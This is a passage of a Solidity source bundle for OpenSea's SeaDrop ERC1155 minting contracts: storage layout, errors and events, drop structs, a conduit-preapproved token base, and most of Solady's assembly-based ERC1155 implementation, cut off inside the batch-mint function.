"src/lib/ERC1155SeaDropContractOffererStorage.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { PublicDrop } from \"./ERC1155SeaDropStructs.sol\";\n\nimport { CreatorPayout } from \"./SeaDropStructs.sol\";\n\nlibrary ERC1155SeaDropContractOffererStorage {\n struct Layout {\n /// @notice The allowed Seaport addresses that can mint.\n mapping(address => bool) _allowedSeaport;\n /// @notice The enumerated allowed Seaport addresses.\n address[] _enumeratedAllowedSeaport;\n /// @notice The public drop data.\n mapping(uint256 => PublicDrop) _publicDrops;\n /// @notice The enumerated public drop indexes.\n uint256[] _enumeratedPublicDropIndexes;\n /// @notice The creator payout addresses and basis points.\n CreatorPayout[] _creatorPayouts;\n /// @notice The allow list merkle root.\n bytes32 _allowListMerkleRoot;\n /// @notice The allowed fee recipients.\n mapping(address => bool) _allowedFeeRecipients;\n /// @notice The enumerated allowed fee recipients.\n address[] _enumeratedFeeRecipients;\n /// @notice The allowed server-side signers.\n mapping(address => bool) _allowedSigners;\n /// @notice The enumerated allowed signers.\n address[] _enumeratedSigners;\n /// @notice The used signature digests.\n mapping(bytes32 => bool) _usedDigests;\n /// @notice The allowed payers.\n mapping(address => bool) _allowedPayers;\n /// @notice The enumerated allowed payers.\n address[] _enumeratedPayers;\n }\n\n bytes32 internal constant STORAGE_SLOT =\n bytes32(\n uint256(\n keccak256(\"contracts.storage.ERC1155SeaDropContractOfferer\")\n ) - 1\n );\n\n function layout() internal pure returns (Layout storage l) {\n bytes32 slot = STORAGE_SLOT;\n assembly {\n l.slot := slot\n }\n }\n}\n" }, "src/lib/ERC1155SeaDropErrorsAndEvents.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { PublicDrop } from \"./ERC1155SeaDropStructs.sol\";\n\nimport { SeaDropErrorsAndEvents } from \"./SeaDropErrorsAndEvents.sol\";\n\ninterface ERC1155SeaDropErrorsAndEvents is SeaDropErrorsAndEvents {\n /**\n * @dev Revert with an error if an empty PublicDrop is provided\n * for an already-empty public drop.\n */\n error PublicDropStageNotPresent();\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the\n * max minted per wallet for a certain token id.\n */\n error MintQuantityExceedsMaxMintedPerWalletForTokenId(\n uint256 tokenId,\n uint256 total,\n uint256 allowed\n );\n\n /**\n * @dev Revert with an error if the target token id to mint is not within\n * the drop stage range.\n */\n error TokenIdNotWithinDropStageRange(\n uint256 tokenId,\n uint256 startTokenId,\n uint256 endTokenId\n );\n\n /**\n * @notice Revert with an error if the number of maxSupplyAmounts doesn't\n * match the number of maxSupplyTokenIds.\n */\n error MaxSupplyMismatch();\n\n /**\n * @notice Revert with an error if the number of mint tokenIds doesn't\n * match the number of mint amounts.\n */\n error MintAmountsMismatch();\n\n /**\n * @notice Revert with an error if the mint order offer contains\n * a duplicate tokenId.\n */\n error OfferContainsDuplicateTokenId(uint256 tokenId);\n\n /**\n * @dev Revert if the fromTokenId is greater than the toTokenId.\n */\n error InvalidFromAndToTokenId(uint256 fromTokenId, uint256 toTokenId);\n\n /**\n * @notice Revert with an error if the number of publicDropIndexes doesn't\n * match the number of publicDrops.\n */\n error PublicDropsMismatch();\n\n /**\n * @dev An event with updated public drop data.\n */\n event PublicDropUpdated(PublicDrop publicDrop, uint256 index);\n}\n" }, "src/lib/ERC1155SeaDropStructs.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { AllowListData, CreatorPayout } from \"./SeaDropStructs.sol\";\n\n/**\n * @notice A struct defining public drop data.\n * Designed to fit efficiently in two storage slots.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n * @param paymentToken The payment token address. Null for\n * native token.\n * @param fromTokenId The start token id for the stage.\n * @param toTokenId The end token id for the stage.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed. (The limit for this field is\n * 2^16 - 1)\n * @param maxTotalMintableByWalletPerToken Maximum total number of mints a user\n * is allowed for the token id. (The limit for\n * this field is 2^16 - 1)\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n */\nstruct PublicDrop {\n // slot 1\n uint80 startPrice; // 80/512 bits\n uint80 endPrice; // 160/512 bits\n uint40 startTime; // 200/512 bits\n uint40 endTime; // 240/512 bits\n bool restrictFeeRecipients; // 248/512 bits\n // uint8 unused;\n\n // slot 2\n address paymentToken; // 408/512 bits\n uint24 fromTokenId; // 432/512 bits\n uint24 toTokenId; // 456/512 bits\n uint16 maxTotalMintableByWallet; // 472/512 bits\n uint16 maxTotalMintableByWalletPerToken; // 488/512 bits\n uint16 feeBps; // 504/512 bits\n}\n\n/**\n * @notice A struct defining mint params for an allow list.\n * An allow list leaf will be composed of `msg.sender` and\n * the following params.\n *\n * Note: Since feeBps is encoded in the leaf, backend should ensure\n * that feeBps is acceptable before generating a proof.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param paymentToken The payment token for the mint. Null for\n * native token.\n * @param fromTokenId The start token id for the stage.\n * @param toTokenId The end token id for the stage.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed.\n * @param maxTotalMintableByWalletPerToken Maximum total number of mints a user\n * is allowed for the token id.\n * @param maxTokenSupplyForStage The limit of token supply this stage can\n * mint within.\n * @param dropStageIndex The drop stage index to emit with the event\n * for analytical purposes. This should be\n * non-zero since the public mint emits with\n * index zero.\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct MintParams {\n uint256 startPrice;\n uint256 endPrice;\n uint256 startTime;\n uint256 endTime;\n address paymentToken;\n uint256 fromTokenId;\n uint256 toTokenId;\n uint256 maxTotalMintableByWallet;\n uint256 maxTotalMintableByWalletPerToken;\n uint256 maxTokenSupplyForStage;\n uint256 dropStageIndex; // non-zero\n uint256 feeBps;\n bool restrictFeeRecipients;\n}\n\n/**\n * @dev Struct containing internal SeaDrop implementation logic\n * mint details to avoid stack too deep.\n *\n * @param feeRecipient The fee recipient.\n * @param payer The payer of the mint.\n * @param minter The mint recipient.\n * @param tokenIds The tokenIds to mint.\n * @param quantities The number of tokens to mint per tokenId.\n * @param withEffects Whether to apply state changes of the mint.\n */\nstruct MintDetails {\n address feeRecipient;\n address payer;\n address minter;\n uint256[] tokenIds;\n uint256[] quantities;\n bool withEffects;\n}\n\n/**\n * @notice A struct to configure multiple contract options in one transaction.\n */\nstruct MultiConfigureStruct {\n uint256[] maxSupplyTokenIds;\n uint256[] maxSupplyAmounts;\n string baseURI;\n string contractURI;\n PublicDrop[] publicDrops;\n uint256[] publicDropsIndexes;\n string dropURI;\n AllowListData allowListData;\n CreatorPayout[] creatorPayouts;\n bytes32 provenanceHash;\n address[] allowedFeeRecipients;\n address[] disallowedFeeRecipients;\n address[] allowedPayers;\n address[] disallowedPayers;\n // Server-signed\n address[] allowedSigners;\n address[] disallowedSigners;\n // ERC-2981\n address royaltyReceiver;\n uint96 royaltyBps;\n // Mint\n address mintRecipient;\n uint256[] mintTokenIds;\n uint256[] mintAmounts;\n}\n" }, "src/lib/SeaDropStructs.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\n/**\n * @notice A struct defining a creator payout address and basis points.\n *\n * @param payoutAddress The payout address.\n * @param basisPoints The basis points to pay out to the creator.\n * The total creator payouts must equal 10_000 bps.\n */\nstruct CreatorPayout {\n address payoutAddress;\n uint16 basisPoints;\n}\n\n/**\n * @notice A struct defining allow list data (for minting an allow list).\n *\n * @param merkleRoot The merkle root for the allow list.\n * @param publicKeyURIs If the allowListURI is encrypted, a list of URIs\n * pointing to the public keys. Empty if unencrypted.\n * @param allowListURI The URI for the allow list.\n */\nstruct AllowListData {\n bytes32 merkleRoot;\n string[] publicKeyURIs;\n string allowListURI;\n}\n" }, "src/lib/ERC1155ConduitPreapproved.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { ERC1155 } from \"solady/src/tokens/ERC1155.sol\";\n\n/**\n * @title ERC1155ConduitPreapproved\n * @notice Solady's ERC1155 with the OpenSea conduit preapproved.\n */\nabstract contract ERC1155ConduitPreapproved is ERC1155 {\n /// @dev The canonical OpenSea conduit.\n address internal constant _CONDUIT =\n 0x1E0049783F008A0085193E00003D00cd54003c71;\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) public virtual override {\n _safeTransfer(_by(), from, to, id, amount, data);\n }\n\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) public virtual override {\n _safeBatchTransfer(_by(), from, to, ids, amounts, data);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n if (operator == _CONDUIT) return true;\n return ERC1155.isApprovedForAll(owner, operator);\n }\n\n function _by() internal view returns (address result) {\n assembly {\n // `msg.sender == _CONDUIT ? address(0) : msg.sender`.\n result := mul(iszero(eq(caller(), _CONDUIT)), caller())\n }\n }\n}\n" }, "lib/solady/src/tokens/ERC1155.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.4;\n\n/// @notice Simple ERC1155 implementation.\n/// @author Solady (https://github.com/vectorized/solady/blob/main/src/tokens/ERC1155.sol)\n/// @author Modified from Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC1155.sol)\n/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts/token/ERC1155/ERC1155.sol)\n///\n/// @dev Note:\n/// The ERC1155 standard allows for self-approvals.\n/// For performance, this implementation WILL NOT revert for such actions.\n/// Please add any checks with overrides if desired.\nabstract contract ERC1155 {\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* CUSTOM ERRORS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The lengths of the input arrays are not the same.\n error ArrayLengthsMismatch();\n\n /// @dev Cannot mint or transfer to the zero address.\n error TransferToZeroAddress();\n\n /// @dev The recipient's balance has overflowed.\n error AccountBalanceOverflow();\n\n /// @dev Insufficient balance.\n error InsufficientBalance();\n\n /// @dev Only the token owner or an approved account can manage the tokens.\n error NotOwnerNorApproved();\n\n /// @dev Cannot safely transfer to a contract that does not implement\n /// the ERC1155Receiver interface.\n error TransferToNonERC1155ReceiverImplementer();\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* EVENTS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Emitted when `amount` of token `id` is transferred\n /// from `from` to `to` by `operator`.\n event TransferSingle(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256 id,\n uint256 amount\n );\n\n /// @dev Emitted when `amounts` of token `ids` are transferred\n /// from `from` to `to` by `operator`.\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] amounts\n );\n\n /// @dev Emitted when `owner` enables or disables `operator` to manage all of their tokens.\n event ApprovalForAll(address indexed owner, address indexed operator, bool isApproved);\n\n /// @dev Emitted when the Uniform Resource Identifier (URI) for token `id`\n /// is updated to `value`. This event is not used in the base contract.\n /// You may need to emit this event depending on your URI logic.\n ///\n /// See: https://eips.ethereum.org/EIPS/eip-1155#metadata\n event URI(string value, uint256 indexed id);\n\n /// @dev `keccak256(bytes(\"TransferSingle(address,address,address,uint256,uint256)\"))`.\n uint256 private constant _TRANSFER_SINGLE_EVENT_SIGNATURE =\n 0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62;\n\n /// @dev `keccak256(bytes(\"TransferBatch(address,address,address,uint256[],uint256[])\"))`.\n uint256 private constant _TRANSFER_BATCH_EVENT_SIGNATURE =\n 0x4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb;\n\n /// @dev `keccak256(bytes(\"ApprovalForAll(address,address,bool)\"))`.\n uint256 private constant _APPROVAL_FOR_ALL_EVENT_SIGNATURE =\n 0x17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* STORAGE */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The `ownerSlotSeed` of a given owner is given by.\n /// ```\n /// let ownerSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, owner))\n /// ```\n ///\n /// The balance slot of `owner` is given by.\n /// ```\n /// mstore(0x20, ownerSlotSeed)\n /// mstore(0x00, id)\n /// let balanceSlot := keccak256(0x00, 0x40)\n /// ```\n ///\n /// The operator approval slot of `owner` is given by.\n /// ```\n /// mstore(0x20, ownerSlotSeed)\n /// mstore(0x00, operator)\n /// let operatorApprovalSlot := keccak256(0x0c, 0x34)\n /// ```\n uint256 private constant _ERC1155_MASTER_SLOT_SEED = 0x9a31110384e0b0c9;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* ERC1155 METADATA */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Returns the URI for token `id`.\n ///\n /// You can either return the same templated URI for all token IDs,\n /// (e.g. \"https://example.com/api/{id}.json\"),\n /// or return a unique URI for each `id`.\n ///\n /// See: https://eips.ethereum.org/EIPS/eip-1155#metadata\n function uri(uint256 id) public view virtual returns (string memory);\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* ERC1155 */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Returns the amount of `id` owned by `owner`.\n function balanceOf(address owner, uint256 id) public view virtual returns (uint256 result) {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, owner)\n mstore(0x00, id)\n result := sload(keccak256(0x00, 0x40))\n }\n }\n\n /// @dev Returns whether `operator` is approved to manage the tokens of `owner`.\n function isApprovedForAll(address owner, address operator)\n public\n view\n virtual\n returns (bool result)\n {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, owner)\n mstore(0x00, operator)\n result := sload(keccak256(0x0c, 0x34))\n }\n }\n\n /// @dev Sets whether `operator` is approved to manage the tokens of the caller.\n ///\n /// Emits a {ApprovalForAll} event.\n function setApprovalForAll(address operator, bool isApproved) public virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Convert to 0 or 1.\n isApproved := iszero(iszero(isApproved))\n // Update the `isApproved` for (`msg.sender`, `operator`).\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, caller())\n mstore(0x00, operator)\n sstore(keccak256(0x0c, 0x34), isApproved)\n // Emit the {ApprovalForAll} event.\n mstore(0x00, isApproved)\n // forgefmt: disable-next-line\n log3(0x00, 0x20, _APPROVAL_FOR_ALL_EVENT_SIGNATURE, caller(), shr(96, shl(96, operator)))\n }\n }\n\n /// @dev Transfers `amount` of `id` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `from` must have at least `amount` of `id`.\n /// - If the caller is not `from`,\n /// it must be approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155Reveived}, which is called upon a batch transfer.\n ///\n /// Emits a {Transfer} event.\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) public virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n let fromSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, from))\n let toSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, to))\n mstore(0x20, fromSlotSeed)\n // Clear the upper 96 bits.\n from := shr(96, fromSlotSeed)\n to := shr(96, toSlotSeed)\n // Revert if `to` is the zero address.\n if iszero(to) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // If the caller is not `from`, do the authorization check.\n if iszero(eq(caller(), from)) {\n mstore(0x00, caller())\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x00, id)\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, toSlotSeed)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n // Emit a {TransferSingle} event.\n mstore(0x20, amount)\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), from, to)\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n // Do the {onERC1155Received} check if `to` is a smart contract.\n if extcodesize(to) {\n // Prepare the calldata.\n let m := mload(0x40)\n // `onERC1155Received(address,address,uint256,uint256,bytes)`.\n mstore(m, 0xf23a6e61)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), from)\n mstore(add(m, 0x60), id)\n mstore(add(m, 0x80), amount)\n mstore(add(m, 0xa0), 0xa0)\n calldatacopy(add(m, 0xc0), sub(data.offset, 0x20), add(0x20, data.length))\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), add(0xc4, data.length), m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xf23a6e61))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n }\n\n /// @dev Transfers `amounts` of `ids` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `from` must have at least `amount` of `id`.\n /// - `ids` and `amounts` must have the same length.\n /// - If the caller is not `from`,\n /// it must be approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155BatchReveived}, which is called upon a batch transfer.\n ///\n /// Emits a {TransferBatch} event.\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) public virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(ids.length, amounts.length)) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let fromSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, from))\n let toSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, to))\n mstore(0x20, fromSlotSeed)\n // Clear the upper 96 bits.\n from := shr(96, fromSlotSeed)\n to := shr(96, toSlotSeed)\n // Revert if `to` is the zero address.\n if iszero(to) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // If the caller is not `from`, do the authorization check.\n if iszero(eq(caller(), from)) {\n mstore(0x00, caller())\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Loop through all the `ids` and update the balances.\n {\n let end := shl(5, ids.length)\n for { let i := 0 } iszero(eq(i, end)) { i := add(i, 0x20) } {\n let amount := calldataload(add(amounts.offset, i))\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x20, fromSlotSeed)\n mstore(0x00, calldataload(add(ids.offset, i)))\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, toSlotSeed)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, ids.length))\n let o := add(m, 0x40)\n calldatacopy(o, sub(ids.offset, 0x20), n)\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, n))\n o := add(o, n)\n n := add(0x20, shl(5, amounts.length))\n calldatacopy(o, sub(amounts.offset, 0x20), n)\n n := sub(add(o, n), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), from, to)\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransferCalldata(from, to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n // Do the {onERC1155BatchReceived} check if `to` is a smart contract.\n if extcodesize(to) {\n let m := mload(0x40)\n // Prepare the calldata.\n // `onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)`.\n mstore(m, 0xbc197c81)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), from)\n // Copy the `ids`.\n mstore(add(m, 0x60), 0xa0)\n let n := add(0x20, shl(5, ids.length))\n let o := add(m, 0xc0)\n calldatacopy(o, sub(ids.offset, 0x20), n)\n // Copy the `amounts`.\n let s := add(0xa0, n)\n mstore(add(m, 0x80), s)\n o := add(o, n)\n n := add(0x20, shl(5, amounts.length))\n calldatacopy(o, sub(amounts.offset, 0x20), n)\n // Copy the `data`.\n mstore(add(m, 0xa0), add(s, n))\n o := add(o, n)\n n := add(0x20, data.length)\n calldatacopy(o, sub(data.offset, 0x20), n)\n n := sub(add(o, n), add(m, 0x1c))\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), n, m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xbc197c81))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n }\n\n /// @dev Returns the amounts of `ids` for `owners.\n ///\n /// Requirements:\n /// - `owners` and `ids` must have the same length.\n function balanceOfBatch(address[] calldata owners, uint256[] calldata ids)\n public\n view\n virtual\n returns (uint256[] memory balances)\n {\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(ids.length, owners.length)) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n balances := mload(0x40)\n mstore(balances, ids.length)\n let o := add(balances, 0x20)\n let end := shl(5, ids.length)\n mstore(0x40, add(end, o))\n // Loop through all the `ids` and load the balances.\n for { let i := 0 } iszero(eq(i, end)) { i := add(i, 0x20) } {\n let owner := calldataload(add(owners.offset, i))\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, shl(96, owner)))\n mstore(0x00, calldataload(add(ids.offset, i)))\n mstore(add(o, i), sload(keccak256(0x00, 0x40)))\n }\n }\n }\n\n /// @dev Returns true if this contract implements the interface defined by `interfaceId`.\n /// See: https://eips.ethereum.org/EIPS/eip-165\n /// This function call must use less than 30000 gas.\n function supportsInterface(bytes4 interfaceId) public view virtual returns (bool result) {\n /// @solidity memory-safe-assembly\n assembly {\n let s := shr(224, interfaceId)\n // ERC165: 0x01ffc9a7, ERC1155: 0xd9b67a26, ERC1155MetadataURI: 0x0e89341c.\n result := or(or(eq(s, 0x01ffc9a7), eq(s, 0xd9b67a26)), eq(s, 0x0e89341c))\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL MINT FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Mints `amount` of `id` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155Reveived}, which is called upon a batch transfer.\n ///\n /// Emits a {Transfer} event.\n function _mint(address to, uint256 id, uint256 amount, bytes memory data) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(address(0), to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, to)\n mstore(0x00, id)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n // Emit a {TransferSingle} event.\n mstore(0x00, id)\n mstore(0x20, amount)\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), 0, shr(96, to_))\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(address(0), to, _single(id), _single(amount), data);\n }\n if (_hasCode(to)) _checkOnERC1155Received(address(0), to, id, amount, data);\n }\n\n /// @dev Mints `amounts` of `ids` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `ids` and `amounts` must have the same length.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155BatchReveived}, which is called upon a batch transfer.\n ///\n /// Emits a {TransferBatch} event.\n function _batchMint(\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(address(0), to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(mload(ids), mload(amounts))) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // Loop through all the `ids` and update the balances.\n {\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, to_))\n let end := shl(5, mload(ids))\n for { let i := 0 } iszero(eq(i, end)) {} {\n i := add(i, 0x20)\n let amount := mload(add(amounts, i))\n // Increase and store the updated balance of `to`.\n {\n mstore(0x00, mload(add(ids, i)))\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0x40)\n 